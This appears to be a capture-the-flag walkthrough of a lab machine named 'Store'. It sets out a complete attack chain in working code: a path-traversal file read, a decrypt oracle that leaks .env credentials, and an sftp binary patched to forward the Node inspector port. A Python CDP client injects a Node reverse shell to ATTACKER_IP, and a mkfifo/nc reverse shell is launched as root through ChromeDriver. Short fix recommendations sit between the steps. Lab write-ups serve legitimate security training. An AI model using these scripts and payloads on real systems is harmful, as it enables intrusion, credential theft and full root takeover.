Store
Summary
I found a Node.js file-storage web app on ports 5000-5002 with a path-traversal file-read flaw. The files it returned were encrypted, but re-uploading that ciphertext made the app write a decrypted copy under its public /tmp route, which turned the flaw into a plaintext file read. That read showed the app ran under 'node --inspect=127.0.0.1:9229' and leaked its .env file with the password of a shell-less SFTP account.
A patched sftp client bent that SFTP login into an SSH port-forward to the loopback-only Node inspector, which accepted unauthenticated JavaScript and gave a shell as the developer account 'dev'. From that shell, a ChromeDriver service running as root on localhost:9515 was told to start my script as its 'browser' binary, which returned a root shell.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered>"
export SESSION_UUID="<a-value-you-captured-earlier>"Some commands also carry a value in angle brackets — <name> — which you replace inline with what the step before it turned up.
Attack path — how the box was taken
Exact commands 3
Express app; the other two ports serve identical copies.
$ curl -ksS -L --max-time 15 --max-redirs 5 -D - -w '\nPTEST_HTTP %{http_code} %{url_effective}\n' http://$TARGET:5000/The list page links each stored file to /file/<name>, the download route tested next.
$ curl -ksS -L --max-time 10 --max-redirs 3 http://$TARGET:5000/listMultipart upload form with the field name imageupload, used later for the decrypt step.
$ curl -ksS -L --max-time 10 --max-redirs 3 http://$TARGET:5000/uploadFixExpose a single hardened instance instead of three identical copiesLow
Exact commands 5
A much larger response than the miss confirms the traversal; the body is an encrypted data: URI.
$ curl -s -o /tmp/afr_passwd.txt -w 'HTTP %{http_code} size=%{size_download}\n' "http://$TARGET:5000/file/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd"; echo '--- head ---'; head -c 400 /tmp/afr_passwd.txt; echo; echo '--- baseline ---'; curl -s -w ' HTTP %{http_code} size=%{size_download}\n' -o /dev/null "http://$TARGET:5000/file/nonexistent"The traversal-plus-decrypt helper: fetch the file through /file/, base64-decode the data: URI, re-upload the ciphertext as imageupload, then read the plaintext back from /tmp/<name>.
$ cat > /tmp/oracle.py <<EOF
#!/usr/bin/env python3
# Store AFR + /tmp decrypt oracle
import sys, re, base64, requests
BASE = "http://$TARGET:5000"
TRAV = "..%2F" * 11
def afr(path):
p = path.lstrip("/").replace("/", "%2F")
url = f"{BASE}/file/{TRAV}{p}"
r = requests.get(url, timeout=30)
m = re.search(r'base64,([A-Za-z0-9+/=]+)', r.text)
if not m:
return None, r.text[:300]
return base64.b64decode(m.group(1)), None
def decrypt(blob, name="data.bin"):
# re-upload the ciphertext; the app decrypts it into /tmp/<name>
r = requests.post(f"{BASE}/upload",
files={"imageupload": (name, blob, "application/octet-stream")},
timeout=30)
g = requests.get(f"{BASE}/tmp/{name}", timeout=30)
return g.content
if __name__ == "__main__":
target = sys.argv[1]
name = sys.argv[2] if len(sys.argv) > 2 else "data.bin"
ct, err = afr(target)
if ct is None:
print("[!] no base64 blob:", err)
sys.exit(1)
print(f"[*] ciphertext {len(ct)} bytes for {target}", file=sys.stderr)
pt = decrypt(ct, name)
sys.stdout.buffer.write(pt)
EOFPrints the decrypted /etc/passwd, confirming the oracle works end to end.
$ cd /tmp && python3 -I oracle.py /etc/passwd p1.bin 2>&1 | tail -30Reveals the install path and the --inspect=127.0.0.1:9229 debugger.
$ cd /tmp && echo '=== ENVIRON ===' && python3 -I oracle.py /proc/self/environ e1.bin 2>/dev/null | tr '\0' '\n' | grep -aiE 'inspect|lifecycle|PWD|npm_package|NODE' | head -20The SFTP_URL line carries the sftpuser password; bind it as $PASSWORD.
$ cd /tmp && echo '=== .env ===' && python3 -I oracle.py /home/dev/projects/store1/.env env1.bin 2>/dev/null | head -20FixFix the path-traversal flaw and keep secrets out of readable filesCritical
Exact commands 5
The ssh program sftp will launch; it adds the -L forward to the target inspector.
$ cat > /tmp/sftp_port.sh <<'EOF'
#!/bin/sh
exec ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -L9229:127.0.0.1:9229 "$@"
EOFThe sed replacement keeps the original string length (note the trailing space); PATCH-APPLIED means the copy differs from /usr/bin/sftp.
$ cd /tmp && chmod +x sftp_port.sh && sed 's/AllForwardings yes/AllForwardings no /' /usr/bin/sftp > sftp.noclearforward && chmod +x sftp.noclearforward && cmp -s /usr/bin/sftp sftp.noclearforward && echo PATCH-NOT-APPLIED || echo PATCH-APPLIEDEnter $PASSWORD at the prompt and leave the sftp> session open (an expect script sent 'pwd' every 20 seconds as a keepalive).
$ /tmp/sftp.noclearforward -S /tmp/sftp_port.sh -oClearAllForwardings=no sftpuser@$TARGETThe local 9229 listener is the forward to the target's inspector.
$ sleep 10; ss -tnl | grep 9229Copy the id from webSocketDebuggerUrl (ws://127.0.0.1:9229/<id>) for the next step; it changes per process.
$ curl -s --max-time 10 http://127.0.0.1:9229/json/listFixRemove the Node.js inspector from production and block SFTP-based forwardingCritical
Exact commands 5
A dependency-free websocket client that sends one Runtime.evaluate carrying the Node reverse-shell function.
$ cat > /tmp/cdp.py <<'EOF'
#!/usr/bin/env python3
"""Minimal dependency-free CDP client: Runtime.evaluate a Node reverse-shell IIFE
against the forwarded Node Inspector on 127.0.0.1:9229.
Usage: python3 /tmp/cdp.py /tmp/cdp.conf
cdp.conf lines: uuid=<inspector uuid>
lhost=<listener ip>
lport=<listener port>
"""
import sys, os, json, socket, base64, struct, hashlib, re
cfg = {}
with open(sys.argv[1]) as fh:
for line in fh:
line = line.strip()
if line and "=" in line and not line.startswith("#"):
k, v = line.split("=", 1)
cfg[k.strip()] = v.strip()
UUID = cfg["uuid"]
LHOST = cfg["lhost"]
LPORT = int(cfg["lport"])
HOST, PORT = "127.0.0.1", 9229
# The payload MUST end with `return /a/;` so the evaluated expression yields a
# harmless non-serializable-ish value and the inspected Node process stays alive.
PAYLOAD = """
(function(){
var r = (typeof require === 'function')
? require
: process.mainModule.require.bind(process.mainModule);
var net = r("net"), cp = r("child_process");
var sh = cp.spawn("/bin/sh", []);
var c = new net.Socket();
c.on("error", function(){});
c.connect(%d, "%s", function(){
c.pipe(sh.stdin);
sh.stdout.pipe(c);
sh.stderr.pipe(c);
});
return /a/;
})();
""" % (LPORT, LHOST)
def ws_connect(s):
key = base64.b64encode(os.urandom(16)).decode()
req = (
f"GET /{UUID} HTTP/1.1\r\n"
f"Host: {HOST}:{PORT}\r\n"
"Upgrade: websocket\r\n"
"Connection: Upgrade\r\n"
f"Sec-WebSocket-Key: {key}\r\n"
"Sec-WebSocket-Version: 13\r\n\r\n"
)
s.sendall(req.encode())
buf = b""
while b"\r\n\r\n" not in buf:
chunk = s.recv(4096)
if not chunk:
raise RuntimeError("no handshake response")
buf += chunk
head, rest = buf.split(b"\r\n\r\n", 1)
if b"101" not in head.split(b"\r\n")[0]:
raise RuntimeError("handshake failed: " + head.decode(errors="replace"))
print("[+] websocket handshake OK", file=sys.stderr)
return rest
def send_text(s, text):
data = text.encode()
hdr = b"\x81"
n = len(data)
if n < 126:
hdr += bytes([0x80 | n])
elif n < 65536:
hdr += bytes([0x80 | 126]) + struct.pack(">H", n)
else:
hdr += bytes([0x80 | 127]) + struct.pack(">Q", n)
mask = os.urandom(4)
masked = bytes(b ^ mask[i % 4] for i, b in enumerate(data))
s.sendall(hdr + mask + masked)
def recv_frame(s, buf):
def need(n):
nonlocal buf
while len(buf) < n:
chunk = s.recv(8192)
if not chunk:
raise RuntimeError("closed")
buf += chunk
need(2)
ln = buf[1] & 0x7F
off = 2
if ln == 126:
need(4); ln = struct.unpack(">H", buf[2:4])[0]; off = 4
elif ln == 127:
need(10); ln = struct.unpack(">Q", buf[2:10])[0]; off = 10
need(off + ln)
payload = buf[off:off + ln]
return payload.decode(errors="replace"), buf[off + ln:]
s = socket.create_connection((HOST, PORT), timeout=15)
buf = ws_connect(s)
msg = {
"id": 1,
"method": "Runtime.evaluate",
"params": {
"expression": PAYLOAD,
"includeCommandLineAPI": True,
"returnByValue": False,
"awaitPromise": False,
},
}
send_text(s, json.dumps(msg))
print("[*] Runtime.evaluate sent (reverse shell -> %s:%d)" % (LHOST, LPORT), file=sys.stderr)
s.settimeout(12)
try:
for _ in range(4):
txt, buf = recv_frame(s, buf)
print("[cdp] " + txt[:600])
except Exception as e:
print("[*] no further frames (%s) - shell likely already connected" % e, file=sys.stderr)
EOFSet SESSION_UUID to the id from webSocketDebuggerUrl and start a listener on 9001 on your VPN address first.
$ cat > /tmp/cdp.conf <<EOF
uuid=$SESSION_UUID
lhost=$ATTACKER_IP
lport=9001
EOFThe inspector answers with the /a/ return value and the 9001 listener receives the shell.
$ cd /tmp && python3 cdp.py cdp.confIn the caught shell: dev on host store.
$ id; hostname; pwd
uid=1001(dev) gid=1001(dev)User-level access on host store as dev.
$ cat /home/dev/user.txtExact commands 5
No passwordless sudo.
$ sudo -n -l 2>/dev/nullOnly stock SUID binaries.
$ find / -perm -4000 -type f 2>/dev/null | head -60Nothing exploitable.
$ getcap -r / 2>/dev/null | head -30No writable root job.
$ cat /etc/crontab 2>/dev/null; ls -la /etc/cron.d /etc/cron.hourly 2>/dev/nullChromeDriver listens on loopback, answers without authentication and runs as root.
$ ss -tnlp 2>/dev/null | grep -E '9515|922|LISTEN' | head -20; echo '=== chromedriver status ==='; curl -s --max-time 6 http://127.0.0.1:9515/status; echo; echo '=== proc ==='; ps -eo user,pid,comm,args --no-headers | grep -iE 'chromedriver' | grep -v grep | headFixReduce locally exposed services and separate the developer account from the hostMedium
Exact commands 4
Start a listener on 9002 on your VPN address first; the script calls back to it.
$ printf '#!/bin/sh\nrm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc '"$ATTACKER_IP"' 9002 > /tmp/f\n' > /home/dev/rev.sh; chmod 755 /home/dev/rev.sh; ls -l /home/dev/rev.sh; cat /home/dev/rev.shChromeDriver runs rev.sh as root; the request does not return because the 'browser' never answers.
$ curl -s --max-time 25 -X POST 'http://127.0.0.1:9515/session' -H 'Content-Type: application/json' -H 'Accept: application/json' --data-raw '{"capabilities":{"alwaysMatch":{"goog:chromeOptions":{"binary":"/home/dev/rev.sh"}}}}' | head -c 600In the 9002 shell: uid=0(root).
$ id; hostname; pwd
uid=0(root)Uid 0 on host store.
$ /usr/bin/id -u; cat /root/root.txtFixDo not run ChromeDriver as root, and restrict who can start sessionsCritical
Exposed services
| 22/tcp | ssh recon-sweep-discovered |
| 5000/tcp | http Node.js (Express middleware) |
| 5001/tcp | unknown recon-sweep-discovered |
| 5002/tcp | unknown recon-sweep-discovered |